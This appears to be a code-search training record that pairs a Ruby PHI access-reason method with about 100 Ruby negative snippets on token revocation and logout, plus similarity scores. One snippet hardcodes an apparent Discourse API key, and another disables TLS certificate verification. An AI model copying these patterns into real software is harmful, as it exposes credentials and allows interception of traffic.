[ "def revoke\n @session.do_rpc_endpoint('/revoke')\n nil\n end", "def revoke!\n self.class.transaction do\n update_attribute :revoked, Time.now\n client.increment! :tokens_revoked\n end\n end", "def revoke\n raise \"Implement me!\"\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def revoke_token\n raise 'To be implemented in child classes'\n end", "def curator_access_revoke\n unless user_signed_in? && current_user.user_type == \"curator\"\n redirect_to root_path\n end\n end", "def destroy\n __log_activity(\"LOGOUT #{current_user}\")\n __debug_route\n __debug_request\n user = current_user&.account&.dup\n opt = BS_AUTH ? { no_revoke: true?(params[:no_revoke]) } : {}\n delete_auth_data(**opt)\n super\n api_clear(user: user)\n set_flash_notice(user: user, clear: true)\n rescue => error\n auth_failure_redirect(message: error)\n end", "def revoke!\n return if revoked?\n update(revoked_at: Time.now)\n tokens.update_all(revoked_at: Time.now, updated_at: Time.now)\n end", "def revoke_session(user)\n\t\t@sessions.delete user\n\tend", "def revoke!\n update(revoked_at: Time.zone.now)\n end", "def sign_out(resource_or_scope); end", "def sign_out(resource_or_scope); end", "def revoke!\n self[:revoked] = Time.now\n save\n Client[client_id].token_revoked\n end", "def unprotect\n @target\n end", "def revoke(user, session)\n\t\trevoke_session user if authorize(user, session)\n\tend", "def untrust!\n MTurkUtils.untrust_user self\n end", "def revoke\n @delegation = current_user.employee_delegations.find_by(token: params[:delegation_id])\n if @delegation.nil?\n flash[:alert] = 'You are not authorised to access this page'\n redirect_to root_path and return\n else\n @delegation.deactivate('employee')\n flash[:notice] = 'Confirmed! Your account is no longer controlled by ' + @delegation.manager.full_identity\n redirect_to root_path and return\n end\n end", "def destroy\n @access.destroy\n end", "def revoke\n ip, security_group = parse_security_group_and_ip_from_args\n rds.revoke_db_security_group_ingress(security_group, 'CIDRIP' => ip)\n self.access\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def revoke!\n self.revoked = Time.now.to_i\n Client.collection.filter(:id => id).update :revoked => revoked\n AuthRequest.collection.filter(:client_id => id).update(:revoked => revoked)\n AccessGrant.collection.filter(:client_id => id).update(:revoked => revoked)\n AccessToken.collection.filter(:client_id => id).update(:revoked => revoked)\n end", "def revoke_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.disallow_last_phi! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n @__phi_relations_extended.subtract(relations)\n end", "def abandon!\n @user = nil\n session.delete\n end", "def abandon!\n @user = nil\n session.delete\n end", "def destroy\n sign_out(resource_name)\n doorkeeper_token.revoke\n\n render_meta message: I18n.t('devise.sessions.signed_out')\n end", "def revoke\n post('/api/revoke')\n end", "def destroy\r\n AlnTermination.find_all_by_aln_path_id(self.aln_path_id, :readonly => false).each {|t| do_remove_from_termination(t)}\r\n super\r\n end", "def revoke\n oauth_access_token.revoke\n head :ok\n end", "def C_Logout()\n @pk.C_Logout(@sess)\n self\n end", "def delete(instance) # rubocop:disable Metrics/AbcSize\n authcookie = ComputeBase.new\n authcookie = authcookie.authenticate(id_domain, user, passwd, restendpoint)\n url = restendpoint + @function + instance\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port, @proxy_addr, @proxy_port) # Creates a http object\n http.use_ssl = true # When using https\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Delete.new(uri.request_uri)\n request.add_field 'accept', 'application/oracle-compute-v3+json'\n request.add_field 'Cookie', authcookie\n http.request(request)\n end", "def destroy\n revert_impersonate\n redirect_to root_path\n end", "def destroy\n # super\n # raise Visit.where(user_id: current_user.id status: 'waiting').inspect\n @visit = Visit.where(\"user_id = ? AND status = ?\", current_user.id, 0)\n @visit[0].update(status: 2) if @visit[0]\n \n reset_session\n cookies[:user_id] = nil\n cookies[:user_name] = nil\n redirect_to \"/login/#{params[:id]}\"\n end", "def destroy\n sign_out(authenticatable_class)\n redirect_to(passwordless_sign_out_redirect_path, Passwordless.config.redirect_to_response_options.dup)\n end", "def revoke!\n self.revoked = Time.now.to_i\n AccessToken.collection.update({ :_id=>token }, { :$set=>{ :revoked=>revoked } })\n Client.collection.update({ :_id=>client_id }, { :$inc=>{ :tokens_revoked=>1 } })\n end", "def revoke!\n self.revoked = Time.now.to_i\n AccessToken.collection.update({ :_id=>token }, { :$set=>{ :revoked=>revoked } })\n Client.collection.update({ :_id=>client_id }, { :$inc=>{ :tokens_revoked=>1 } })\n end", "def signed_out_other_scope(resource)\n ActiveRecord::SessionStore::Session.all(:conditions => ['user_id = ?', resource.id]).compact.each do |s|\n begin\n s.destroy\n rescue\n next\n end\n end\n end", "def destroy\n log_out\n end", "def revoke\n self.state = :revoked\n self.save\n end", "def revoke_token\n request @google + '/accounts/AuthSubRevokeToken'\n\n @session_token = false\n end", "def revoke\n @invitation = Invitation.with_token!(params[:id])\n\n authorize! @invitation\n\n @invitation.destroy\n\n redirect_to :back, notice: \"Successfully revoked\n invitation for #{@invitation.email}\"\n end", "def revoke_access(user_identifier)\n Scribd::Security.revoke_access user_identifier, self\n end", "def destroy\n\t\tlog_out\n\t\tUTEPSSO.deauthenticate(cookies[:UTEP_SE], cookies[:UTEP_SA])\n\t\tredirect_to root_url\n\tend", "def log_out\n session.delete(:person_id)\n @current_person = nil\n end", "def exec_logout\n core_destroySession\n redirect_to lato_core.login_path\n end", "def abandon!\n @user = nil\n session.clear\n end", "def possessionrevoke\n party = Party.find(params[:party_id])\n possession = party.possessions.find(params[:possession_id])\n party.possessions.delete(possession)\n \n redirect_to :action => 'relationshipassignment', :party_id => params[:party_id]\n end", "def destroy\n conn.delete(self_link)\n end", "def unauth\n #raise Apartment::TenantNotFound\n nil\n end", "def sign_out(resource_or_scope = T.unsafe(nil)); end", "def unrevoke_consent!\n update(consent_revoked_at: nil)\n end", "def destroy\n begin\n client = DiscourseApi::Client.new(\"https://intranet.cuhappycorner.com\")\n client.api_key = \"1729b13700d45e58d2e3d81c1bee5431a5167244e75389c07bb613fae54777ee\"\n client.api_username = \"ckho\"\n user = client.by_external_id(current_user.id)\n client.log_out(user[\"id\"]) if user\n rescue\n # nothing\n ensure\n super\n end\n end", "def force_logout\n sign_out(resource) if user_signed_in?\n end", "def log_out\n\t\tforget(current_member)\n\t\tsession.delete(:member_id)\n\t\t@current_member = nil\n\tend", "def log_out\n\t\tforget(current_member)\n\t\tsession.delete(:member_id)\n\t\t@current_member = nil\n\tend", "def sign_out_and_redirect(resource_or_scope); end", "def log_out\n forget(current_person)\n session.delete(:person_id)\n @current_person = nil\n end", "def revoke!\n self.revoked = Time.now.to_i\n Client.collection.update({ :_id=>id }, { :$set=>{ :revoked=>revoked } })\n AuthRequest.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n AccessGrant.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n AccessToken.collection.update({ :client_id=>id }, { :$set=>{ :revoked=>revoked } })\n end", "def log_out\n session.delete(:contributor_id)\n @current_contributor = nil\n end", "def destroy\n Puppet.debug(\"Calling destroy method of security_policy_cloakingprovider: \")\nend", "def log_out_tenant\n \t\tsession.delete(:tenant_id)\n \t\t@current_tenant = nil\n \tend", "def quit_visit\n self.decrement!(:visits, 1)\n end", "def log_out\n session.delete(:teacher_id)\n @current_teacher = nil\n end", "def log_out\n forget(current_member)\n session.delete(:member_id)\n @current_member = nil\n end", "def unprotect()\n res = super(context,self)\n return res\n end", "def logout\r\n self.update(token: nil) \r\n end", "def destroy \n\t session[:guestaccount_id] = nil \n\t \n\tend", "def destroy\n # Delete the user access tokens on logout\n User.find(session[:user_id]).delete\n # Delete the session as well\n session = {}\n \n redirect_to root_path\n end", "def destroy\n return unless modifying_self?\n @hacker = current_user\n \n if @hacker.authenticate(params[:cancel_password])\n @hacker.cancel_account\n \n cookies.delete :auth_token\n session.delete :filter\n session.delete :current_tags\n\n @hacker.destroy\n \n redirect_to home_url\n else\n redirect_to(edit_hacker_path(@hacker), alert: 'Incorrect password supplied')\n end\n end", "def log_out\n session.delete(:doctor_id)\n @current_doctor = nil\nend", "def desist\n self.class.delete self\n end", "def admin_out\n forget(current_admin)\n session.delete(:admin_id)\n @current_admin = nil\n end", "def destroy\n if current_scope.is_a?(Program)\n @user = current_scope.associated_users.find(params[:id])\n @user.remove_program!(current_scope)\n flash[:notice] = \"Access revoked for #{@user}\"\n else\n @user = current_scope.associated_users.find(params[:id])\n @user.remove_account!(current_scope)\n flash[:notice] = \"Access revoked for #{@user}\"\n end\n\n respond_with [:admin, @user]\n end", "def sign_out\n @request.env[:clearance].sign_out\n end", "def disconnect(token)\n # You could reset the state at this point, but as-is it will still stay unique\n # to this user and we're avoiding resetting the client state.\n # session.delete(:state)\n session.delete(:token)\n\n # Send the revocation request and return the result.\n revokePath = 'https://accounts.google.com/o/oauth2/revoke?token=' + token\n uri = URI.parse(revokePath)\n request = Net::HTTP.new(uri.host, uri.port)\n request.use_ssl = true\n status request.get(uri.request_uri).code\nend", "def sso_session_revoke_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SsoApi.sso_session_revoke ...'\n end\n # resource path\n local_var_path = '/sso/session/revoke'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SsoApi#sso_session_revoke\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def destroy\n user_session.log_out\n redirect_to root_url\n end", "def log_out\n forget(current_coordinator)\n session.delete(:coordinator_id)\n @current_coordinator = nil\n end", "def on_revoke(*)\n disconnect(:token_revoked)\n fail SlackBotManager::TokenRevoked\n end", "def destroy\n current_hiker.create_activity :logged_out, owner: current_hiker\n session[:user_id] = nil\n redirect_to root_url\n end", "def log_out\n session.delete(:officer_id)\n @current_officer = nil\n end", "def proxy_forget\n execute(:proxy, :forget)\n end", "def destroy\n session[:account] = session[:last_request] = nil\n redirect_to :controller => \"/home\"\n end", "def log_out\n forget(current_doctor)\n session.delete(:doctor_id)\n @current_doctor = nil\n end", "def remove_disallow_flag!\n @__phi_access_stack.pop\n end", "def destroy\n requires :ip\n remove(:release => true)\n end", "def destroy\n # Clear their site ID.\n session[:site_id] = nil\n super\n end", "def log_out\n\t\tforget(current_user)\n\t\tsession.delete(:investor_id)\n\t\t@current_user = nil\n\tend", "def abandon!\n authentication.abandon!\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def unlock_access!; end", "def revoke!\n self.used = true\n self.save\n end", "def revoke(user_id)\n require_user\n\n user = User.find(user_id)\n user.secrets.each do |secret|\n secret.destroy\n end\n\n user.destroy\n end", "def sign_out\n @logout = true\n authenticate_api_user\n @logout = false\n revoke_access if @current_user\n head :no_content\n end", "def log_out\n session.delete(:admin_id)\n end", "def signout\n session.delete(:user_id)\n @current_user = nil\n end", "def destroy\n Puppet.debug(self.class.to_s.split('::').last + ': Calling destroy method : ')\n\n response, status_code, headers = Puppet::Provider::Cudawaf.delete('SecurityPolicy', @resource[:name], {})\n @property_hash.clear\n [response, status_code, headers]\n end", "def logout\n session_delete\n @token = ''\n @seqid = 0\n auth_header\n end", "def unauthorize!\n throw(:warden)\n end", "def decommission\n actually_decomission = false\n\n self.transaction(Zartan::Application.config.default_transaction_options) do\n if self.no_sites?\n # soft-delete the proxy so that nobody else tries to use it\n self.soft_delete\n self.save\n # Decomission the proxy outside of the transaction\n actually_decomission = true\n end\n end\n # Tear down the proxy outside of the transaction because we don't need\n # the database anymore.\n self.source.decommission_proxy(self) if actually_decomission\n end", "def destroy\n user_id = app_session.current_user_id\n current_user_session.register_logout\n\n app_session.logged_out\n DeterLab.logout(user_id)\n SslKeyStorage.delete(user_id)\n\n ActivityLog.for_user(user_id).add(:logout, user_id)\n rescue DeterLab::NotLoggedIn\n # That's ok. We are logging out anyway\n ensure\n redirect_to :login, notice: t(\".success\")\n end" ]
[ "0.63997555", "0.6282532", "0.6145793", "0.60280687", "0.59928036", "0.5900275", "0.5863169", "0.5805928", "0.572812", "0.5722388", "0.56471425", "0.56471425", "0.56428397", "0.56211054", "0.5605139", "0.55996305", "0.5579732", "0.5543967", "0.5538277", "0.553653", "0.550807", "0.5500487", "0.549874", "0.549874", "0.545244", "0.5449728", "0.5448134", "0.54319185", "0.54261434", "0.5421605", "0.5411758", "0.540493", "0.53938806", "0.53683", "0.53683", "0.5365135", "0.53281665", "0.53215694", "0.53154016", "0.5303808", "0.5298262", "0.5293281", "0.5286774", "0.5279862", "0.5275184", "0.5263224", "0.52591074", "0.5255002", "0.5244963", "0.52377653", "0.5220979", "0.5216814", "0.5216226", "0.5216226", "0.5211042", "0.52018017", "0.52013814", "0.5201197", "0.519651", "0.5196384", "0.51948184", "0.5170384", "0.51685315", "0.5164292", "0.51641506", "0.5161452", "0.51542395", "0.51487637", "0.51447475", "0.513413", "0.5132698", "0.5131414", "0.5130502", "0.51288474", "0.5125352", "0.5124398", "0.5123231", "0.5119505", "0.51170117", "0.5109438", "0.510565", "0.510448", "0.51036406", "0.51018465", "0.50989276", "0.509491", "0.50930685", "0.50902224", "0.5087915", "0.50825363", "0.5080579", "0.50803405", "0.50801843", "0.508001", "0.5076679", "0.5075791", "0.50739765", "0.5072082", "0.50705177", "0.50692457" ]
0.5733393
8
The unique identifier for whom access has been allowed on this instance. This is what was passed in when PhiRecordallow_phi! was called.
def phi_allowed_by phi_context[:user_id] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def privacy_object_id\r\n\t\t\treturn self.id\r\n\t\tend", "def owner_access_control_key # :nodoc:\n 'id'\n end", "def all_phi_allowed_by\n self.class.__user_id_string(all_phi_context)\n end", "def recip\n\t\tself.identity\n\tend", "def identifier_value\n user.icn\n end", "def member_id\n return @member_id\n end", "def user_id\n raise \"Implement in Client or Advocate\"\n end", "def record_identifier(record)\n record.id\n end", "def resource_owner_id\n env['HTTP_X_AUTHENTICATED_USERID']\n end", "def user_id\n username\n end", "def ident\n ensure_valid\n @ident\n end", "def on_behalf_of_user_id\n return @on_behalf_of_user_id\n end", "def id\n @uid\n end", "def key\n patron_info['id'] || user_info['id']\n end", "def authorization_from(response)\n response[:unique_id]\n end", "def identifier\n @info.identifier\n end", "def identifier\n @info.identifier\n end", "def user_id; 1; end", "def resource_id\n self.end_user_login\n end", "def userid\n \treturn session[:userid]\n \tend", "def uid\n @uid\n end", "def user_id\n return @user_id\n end", "def user_id\n return @user_id\n end", "def user_id\n return @user_id\n end", "def user_id\n return @user_id\n end", "def user_id\n return @user_id\n end", "def user_id\n return @user_id\n end", "def user_id\n member.id\n end", "def id_string\n return \"user_\"+self.username\n end", "def preference_id\n user.uuid\n end", "def member_id\n return self.profile['id'].to_i\n end", "def identity_name\n return @identity_name\n end", "def id_public\n id\n end", "def routine_owner\n record.user == user\n end", "def object_id() end", "def generate_identifier\n self.identifier = Digest::MD5.hexdigest(\"PersonRecordIdentifier#{email}#{Rails.application.config.try(:hash_salt)}\")[0..254]\n end", "def owner_id\n data.owner_id\n end", "def identifier\n id_value || super\n end", "def identity_resource_identifier\n return @identity_resource_identifier\n end", "def local_id; end", "def uid; end", "def user_id\n self.person.user.id if self.person\n end", "def user_id\n self.person.user.id if self.person\n end", "def user_id\n self.person.user.id if self.person\n end", "def event_id_public\n if event\n event.id_public\n end\n end", "def external_identifier \n elements = []\n elements << ipaddress || 'UNKNOWNIP'\n elements << custid || 'anon'\n #OT.ld \"sess identifier input: #{elements.inspect}\"\n @external_identifier ||= elements.gibbler.base(36)\n @external_identifier\n end", "def owner_user_id\n return @owner_user_id\n end", "def owner_user_id\n return @owner_user_id\n end", "def txn_id\n authorization\n end", "def uid() end", "def reveal_id\n ((self.hashed_id.to_i(16) ^ RNDXOR) * PRIME_INVERSE) & MAXID\n end", "def owner_id\n data[:owner_id]\n end", "def owner_id\n data[:owner_id]\n end", "def who\n\t\t\t@username\n\t\tend", "def my_participant_id\n return @my_participant_id\n end", "def oid\n id(get_oid())\n end", "def id\n @data[:user_id]\n end", "def uid\n @uid ||= (@in['uid_hi'] << 16) | @in['uid_lo']\n end", "def owner_id\n @sg.owner_id\n end", "def owner_id\n @sg.owner_id\n end", "def owner\n user_id\n end", "def other_claim_related_id\n end", "def uid(*) end", "def globally_unique_identifier\n super\n end", "def identifier\n @identifiers[0]\n end", "def real_id\n @id\n end", "def real_id\n @id\n end", "def rollbar_person_anonymized_identifier\n @anonymized_identifier\n end", "def user_id\n @current_user.id\n end", "def get_bot_user_id\n 1.freeze\n end", "def owner\n permission_denied unless session[:user_id] == @idea.user_id\n end", "def principal_id\n return @principal_id\n end", "def principal_id\n return @principal_id\n end", "def _id\n @id\n end", "def id\n self.user_id\n end", "def user_id\n # The user id can't be handled by the method_missing magic from\n # OctocatHerder::Base, since the id method returns the object\n # id.\n @raw['id']\n end", "def id\n @record.Id\n end", "def identifier\n SecureRandom.hex(16)\n end", "def identifier; end", "def identifier; end", "def __object_unique_id__\n name\n end", "def __object_unique_id__\n name\n end", "def uid\n (@in['uid_hi'] << 16) | @in['uid_lo']\n end", "def member_id\n read_attribute(:member_id) if has_attribute?(:member_id)\n end", "def id\n token\n end", "def __object_unique_id__\n return @args[:data][:Key_name]\n end", "def guard_skill_id\r\n return 2\r\n end", "def creator_id\n return @creator_id\n end", "def id\n self[:identifier]\n end", "def identity\n :id\n end", "def unique_id\n params['unique_id']\n end", "def assigner_user_id\n return @assigner_user_id\n end", "def user_key\n uid\n end", "def identifiable?\n true\n end", "def name\n \"identity\"\n end", "def rhizome_unique_id\n \"#{rhizome_type_name},#{rhizome_eid}\"\n end", "def caller_number\n return @caller_number\n end", "def identifier\n sid_value || super\n end", "def current_id\n not_applicable\n end", "def who\n Object.const_get(who_class).find(who_id)\n end" ]
[ "0.6373371", "0.6309853", "0.6225201", "0.61484224", "0.6069459", "0.604486", "0.60344976", "0.59835744", "0.5960108", "0.5914712", "0.5882732", "0.58694553", "0.58062017", "0.5802811", "0.57836604", "0.5775802", "0.5775802", "0.5764635", "0.5746757", "0.5737906", "0.5735067", "0.5728478", "0.5728478", "0.5728478", "0.5728478", "0.5728478", "0.5728478", "0.5713849", "0.5690829", "0.56786567", "0.56699353", "0.56681913", "0.56616515", "0.56568813", "0.56451684", "0.56365997", "0.5636054", "0.56357574", "0.56349766", "0.56265086", "0.5625844", "0.56161857", "0.56161857", "0.56161857", "0.5611202", "0.56075317", "0.5604934", "0.5604934", "0.5600771", "0.55950683", "0.55892634", "0.558782", "0.558782", "0.55874", "0.55823207", "0.5577459", "0.55639607", "0.5563172", "0.5562158", "0.5561637", "0.55614936", "0.555768", "0.5554496", "0.5549018", "0.55459833", "0.5545661", "0.5545661", "0.55454725", "0.55442435", "0.55240726", "0.5523218", "0.5522", "0.5522", "0.5517025", "0.5515712", "0.5514817", "0.5510949", "0.5507709", "0.54983544", "0.54983544", "0.5489017", "0.5489017", "0.5488404", "0.5488302", "0.5486484", "0.54859656", "0.5485605", "0.5483235", "0.5480403", "0.5475255", "0.5474177", "0.54734343", "0.5468006", "0.5463402", "0.5462238", "0.5461536", "0.54614675", "0.5461071", "0.54593575", "0.54577446" ]
0.69745827
0
The access reason for allowing access to this instance. This is what was passed in when PhiRecordallow_phi! was called.
def phi_access_reason phi_context[:reason] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def protection\n return @protection\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def access_denied\n end", "def access_denied\n\n end", "def has_access?\n true\n end", "def has_access?\n true\n end", "def denied\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def accessibility; end", "def protections\n @descriptive_detail.protections\n end", "def access_info\n super\n end", "def peek_at_priv_read3_via_protected_access_BAD; self.priv_read3; end", "def conditional_access\n return @conditional_access\n end", "def resource_access\n return @resource_access\n end", "def resource_access\n return @resource_access\n end", "def access_type\n @access_type\n end", "def privacy\n end", "def privacy\n end", "def method_usability_reason\n return @method_usability_reason\n end", "def current_access_control\n @access_control\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def access_text()\n result = case access\n when Codegen::Access::RW then \"read/write\"\n when Codegen::Access::RO then \"read only\"\n when Codegen::Access::IA then \"inaccessible\"\n end\n result = \"open\" if public\n result\n end", "def peek_at_prot_access1; prot_access1; end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def if_access_locked; end", "def algo_mais_protected\n \"Este é um metodo publico\"\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def croucher_index_confidentiality\n \"private\"\n end", "def access_to!(kase)\n access = false\n unless self.access_to?(kase)\n access = Access.new(:requestor => self, :requestee => kase.person, :accessible => kase)\n if access.valid?\n accesses << access\n accesses.reload\n return !access.new_record?\n end\n end\n access\n end", "def access_locked?; end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def read_only?; end", "def read_only?; end", "def access_control\n \n end", "def protects?(_thing)\n false\n end", "def denied\n return @denied\n end", "def protection=(value)\n @protection = value\n end", "def protection\n\t\treturn @shieldPower\n\tend", "def protect()\n res = super(context,self)\n return res\n end", "def getAccessInfo()\n @accessInfo\n end", "def protection_type\n @descriptive_detail.protection_type\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def accessible\n true \n end", "def protects?(thing)\n false\n end", "def phi_allowed_by\n phi_context[:user_id]\n end", "def deletion_protection\n data[:deletion_protection]\n end", "def deletion_protection\n data[:deletion_protection]\n end", "def publicly_accessible\n data[:publicly_accessible]\n end", "def publicly_accessible\n data[:publicly_accessible]\n end", "def header_access_level\n @record['Header']['AccessLevel']\n end", "def private?\n self.privacy == PASSWORD\n end", "def temporary_access_pass\n return @temporary_access_pass\n end", "def allowed?\n raise \"Unimplemented 'allowed?' for intention: #{self.inspect}!\"\n end", "def acl\n 'public-read'\n end", "def authorized_to_edit_records\n scope.none\n end", "def smart?; self.permission_level = 2; end", "def editable_check(_traversal_env)\n Result::DENY\n end", "def forbidden?\n @forbidden\n end", "def access\n if @ajar == true || if @unlocked == false\n raise ArgumentError.new(\"Further permissions required\")\n elsif @ajar == false && if @unlocked == true\n puts \"your wish is granted\"\n return @ajar = true\n end\n end\n end\n end", "def current_access_level\n @wfd_current_fal + 1\n end", "def not_private\n !self.private\n end", "def exemption_code\n exemption.code\n end", "def reason; end", "def reason; end", "def protected\n return @protected\n end", "def educational_attainment; end", "def access_level\n config[:access] || 'private'\n end", "def private?\n sensitivity == \"Private\"\n end", "def access_consent\n return @access_consent\n end", "def permitted?; end", "def protected?\n @attributes[\"access\"] ? @attributes[\"access\"] == \"protected\" : false\n end", "def privacy(arg = nil)\n set_or_return(\n :privacy,\n arg,\n kind_of: [ TrueClass, FalseClass ]\n )\n end", "def permision_denied_error\n error(403, 'Permision Denied!')\n end", "def owner_access_control_key # :nodoc:\n 'id'\n end", "def protected\n return @protected\n end", "def reason\n raise NotImplementedError\n end", "def reason\n raise NotImplementedError\n end", "def request_is_readonly?\n true\n end", "def access_rights\n convert_byte_to_access_rights @access_rights if @access_rights\n end", "def access_denied\n return render(text: 'access_denied: requires a role')\n end", "def access_locked?\n\n super && date_restricted?\n\n end", "def required_resource_access\n return @required_resource_access\n end", "def safe_is_restricted_value(unsafe_is_restricted)\n if current_educator.can_view_restricted_notes?\n unsafe_is_restricted\n else\n false\n end\n end", "def publicly_accessible?\n @dbi.publicly_accessible\n end", "def publicly_accessible?\n @dbi.publicly_accessible\n end", "def miss_reason; end", "def user_owns_reflection?\n unless @reflection.student.uid == current_user.uid\n flash[:notice] = 'You may only edit your own reflections.'\n redirect_to reflections_url\n end\n end", "def accessible_name; end", "def access_level\n if self.reviewer?\n return 5\n elsif self.administrator?\n return 3\n elsif self.editor?\n return 2\n elsif self.commenter?\n return 1\n end\n end", "def access_level\n if self.reviewer?\n return 5\n elsif self.administrator?\n return 3\n elsif self.editor?\n return 2\n elsif self.commenter?\n return 1\n end\n end", "def direct_deposit_update_access?\n flagged_access?(:mobile_lighthouse_direct_deposit, { lighthouse: :mobile_access? },\n { evss: :access?, ppiu: %i[access? access_update?] })\n rescue\n false\n end", "def policy\n self.permissions['policy'].to_sym\n end", "def valid_edit_check(_traversal_env)\n Result::DENY\n end", "def private_notes\n end", "def is_denied?\n (moderation_flag == false) ? true : false\n end", "def denied?\n return (self.status == STATUS_DENIED)\n end", "def get_private()\n res = super(self)\n return res\n end", "def priviledged?\n @priviledged\n end" ]
[ "0.5963926", "0.5895669", "0.5812808", "0.57298714", "0.5704143", "0.5694744", "0.5694744", "0.55676234", "0.55323106", "0.55318356", "0.5512706", "0.5511024", "0.55098116", "0.5497229", "0.5486193", "0.5486193", "0.54677814", "0.54613286", "0.54613286", "0.5443621", "0.544152", "0.54364806", "0.5430382", "0.5429131", "0.54214025", "0.5418325", "0.5416232", "0.5411557", "0.54065675", "0.5406289", "0.53869057", "0.5365507", "0.5362963", "0.5358713", "0.5358713", "0.53582513", "0.53566086", "0.5347904", "0.5344172", "0.5341711", "0.5340895", "0.5336503", "0.531606", "0.5308853", "0.5280507", "0.5263115", "0.52200204", "0.52109456", "0.52109456", "0.5203116", "0.5203116", "0.5198329", "0.5192952", "0.51896703", "0.51885813", "0.51821136", "0.5179337", "0.51759624", "0.51692414", "0.5161479", "0.5157804", "0.51563513", "0.5149493", "0.51328427", "0.51266885", "0.51266885", "0.51258713", "0.5122961", "0.5117897", "0.51149595", "0.509798", "0.5090042", "0.50872517", "0.5086827", "0.507736", "0.5076331", "0.5072923", "0.5072133", "0.5072133", "0.5071207", "0.50681937", "0.5052953", "0.5048914", "0.50330335", "0.5031971", "0.50225115", "0.50225115", "0.5020712", "0.5005831", "0.50048727", "0.50016004", "0.50016004", "0.49956453", "0.49950886", "0.49942556", "0.4990964", "0.49826407", "0.49666953", "0.49662986", "0.49658376" ]
0.7814361
0
Whether PHI access is allowed for a single instance of this class
def phi_allowed? !phi_context.nil? && phi_context[:phi_access_allowed] end
